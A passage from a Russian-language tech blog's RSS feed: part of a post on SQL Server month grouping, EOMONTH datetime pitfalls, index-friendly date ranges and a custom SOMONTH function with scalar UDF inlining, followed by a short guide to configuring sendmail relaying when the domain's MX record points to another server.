<p>Как прибавлять и вычитать дни, месяцы и годы через <code>DATEADD</code>, я разбирал в посте <a href="https://koz.tv/ru/posts/sql-zapros-dlya-tekuschey-daty-minus-god-mesyats-den-ili-min/">про текущую дату минус год, месяц, день или минуту</a>.</p>
<h2>Группировка по месяцам</h2>
<pre><code class="language-sql">SELECT DATEFROMPARTS(YEAR(OrderDate), MONTH(OrderDate), 1) AS MonthStart,
       SUM(Amount) AS Total
FROM dbo.Orders
GROUP BY DATEFROMPARTS(YEAR(OrderDate), MONTH(OrderDate), 1)
ORDER BY MonthStart;
</code></pre>
<p>На SQL Server 2022 короче написать <code>GROUP BY DATETRUNC(month, OrderDate)</code>. <code>GROUP BY EOMONTH(OrderDate)</code> тоже работает, если месяц удобнее подписывать последним днём.</p>
<h2>Подвох: <code>&lt;= EOMONTH</code> для столбца datetime</h2>
<p>EOMONTH возвращает <code>date</code>, а при сравнении со столбцом <code>datetime</code> эта дата превращается в полночь последнего дня. Если в <code>OrderDate</code> хранится время, условие <code>OrderDate &lt;= EOMONTH(@d)</code> теряет всё, что было после 00:00 этого дня. В моей тестовой таблице так пропал заказ от 31 октября в 18:45. Фильтруйте полуоткрытым интервалом:</p>
<pre><code class="language-sql">DECLARE @d date = &#39;2026-10-15&#39;;

SELECT SUM(Amount) AS Total
FROM dbo.Orders
WHERE OrderDate &gt;= DATEFROMPARTS(YEAR(@d), MONTH(@d), 1)
  AND OrderDate &lt;  DATEADD(day, 1, EOMONTH(@d));
</code></pre>
<p>Такой фильтр ещё и работает с индексом по <code>OrderDate</code>. С этим индексом в плане Index Seek:</p>
<pre><code class="language-sql">CREATE INDEX IX_Orders_OrderDate
    ON dbo.Orders (OrderDate) INCLUDE (Amount);
</code></pre>
<p>А <code>WHERE EOMONTH(OrderDate) = &#39;2026-10-31&#39;</code> оборачивает столбец в функцию, и тот же индекс читается целиком (Index Scan). Без <code>INCLUDE (Amount)</code> оптимизатор и с диапазоном читал всю таблицу на 500 000 строк: за <code>Amount</code> для каждой из примерно 6000 строк месяца пришлось бы ходить в таблицу (Key Lookup), а это дороже.</p>
<h2>SOMONTH: своя функция по образцу EOMONTH</h2>
<p>В 2016 году я написал для этого функцию <code>SOMONTH</code>. У неё был параметр <code>datetime</code>, из-за которого она падала на датах раньше 1753 года, и лишняя промежуточная переменная того же типа. Исправленная версия:</p>
<pre><code class="language-sql">CREATE OR ALTER FUNCTION dbo.SOMONTH (@d date)
RETURNS date
AS
BEGIN
    RETURN DATEFROMPARTS(YEAR(@d), MONTH(@d), 1);
END;
</code></pre>
<p><code>CREATE OR ALTER</code> есть начиная с SQL Server 2016 SP1, в более старых версиях пишите <code>CREATE FUNCTION</code>. Вызывать функцию нужно со схемой: <code>SELECT dbo.SOMONTH(GETDATE());</code></p>
<h3>Скалярная функция в GROUP BY тормозит</h3>
<p>До SQL Server 2019 скалярная UDF вызывается для каждой строки и запрещает параллельный план. В SQL Server 2019 появился инлайнинг скалярных функций (scalar UDF inlining) на уровне совместимости 150 и выше: оптимизатор подставляет тело функции в запрос. Но если функция стоит в <code>GROUP BY</code> или <code>ORDER BY</code>, инлайнинга не будет. Я проверил на SQL Server 2022: с <code>GROUP BY dbo.SOMONTH(OrderDate)</code> план по-прежнему вызывает функцию и не распараллеливается.</p>
<p>Посчитайте месяц в <code>CROSS APPLY</code> и группируйте по получившемуся столбцу. На уровне совместимости 150 и выше такой запрос инлайнится:</p>
<pre><code class="language-sql">SELECT m.MonthStart, SUM(o.Amount) AS Total
FROM dbo.Orders AS o
CROSS APPLY (SELECT dbo.SOMONTH(o.OrderDate) AS MonthStart) AS m
GROUP BY m.MonthStart;
</code></pre>
<p>На больших таблицах и в версиях до 2019 обходитесь без функции: пишите <code>DATEFROMPARTS</code> в самом запросе, как в примере с группировкой. Условие <code>WHERE dbo.SOMONTH(OrderDate) = ...</code> инлайнинг тоже не спасает: столбец всё равно обёрнут в функцию, поэтому фильтруйте по диапазону дат.</p>
<p>Проверить, может ли SQL Server встроить вашу функцию:</p>
<pre><code class="language-sql">SELECT is_inlineable
FROM sys.sql_modules
WHERE object_id = OBJECT_ID(&#39;dbo.SOMONTH&#39;);  -- 1
</code></pre>
]]></content:encoded>
    </item>
    <item>
      <title>Настройка Sendmail когда MX-запись указывает на другой сервер</title>
      <link>https://koz.tv/ru/posts/nastroyka-sendmail-kogda-mx-zapis-ukazyvaet-na-drugoy-server/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/nastroyka-sendmail-kogda-mx-zapis-ukazyvaet-na-drugoy-server/</guid>
      <pubDate>Sat, 21 May 2016 00:00:00 GMT</pubDate>
      <description>Если почта вашего домена живёт на почтовом сервере в другом домене, об этом нужно сообщить sendmail. Иначе при отправке письма пользователю вашего домена…</description>
      <content:encoded><![CDATA[<p>Если почта вашего домена живёт на почтовом сервере в другом домене, об этом нужно сообщить sendmail. Иначе при отправке письма пользователю вашего домена sendmail запишет в <strong>/var/log/mail.log</strong> ошибку:</p>
<p><strong><em>User unknown.</em></strong></p>
<p>Sendmail ищет адресата на локальном сервере и не находит: почтовый сервер стоит на другом IP-адресе. Нужно, чтобы sendmail искал пользователей нашего домена на удалённом сервере.</p>
<p>Откройте <strong>/etc/mail/sendmail.mc</strong>:</p>
<pre><code class="language-bash">sudo nano /etc/mail/sendmail.mc
</code></pre>
<p>Добавьте эти две строки в конец файла:</p>
<pre><code>define(`MAIL_HUB&#39;, `your.domain.com.&#39;)dnl
define(`LOCAL_RELAY&#39;, `your.domain.com.&#39;)dnl
</code></pre>
<p>Нажмите &quot;<strong>Ctrl + X</strong>&quot; и ответьте &quot;<strong>Y</strong>&quot; на вопрос о сохранении.</p>
<p>Перезапустите sendmail:</p>
<pre><code class="language-bash">service sendmail reload
</code></pre>
<p>Отправьте письмо снова. Если всё сделано правильно, оно уйдёт через удалённый почтовый сервер без ошибок.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
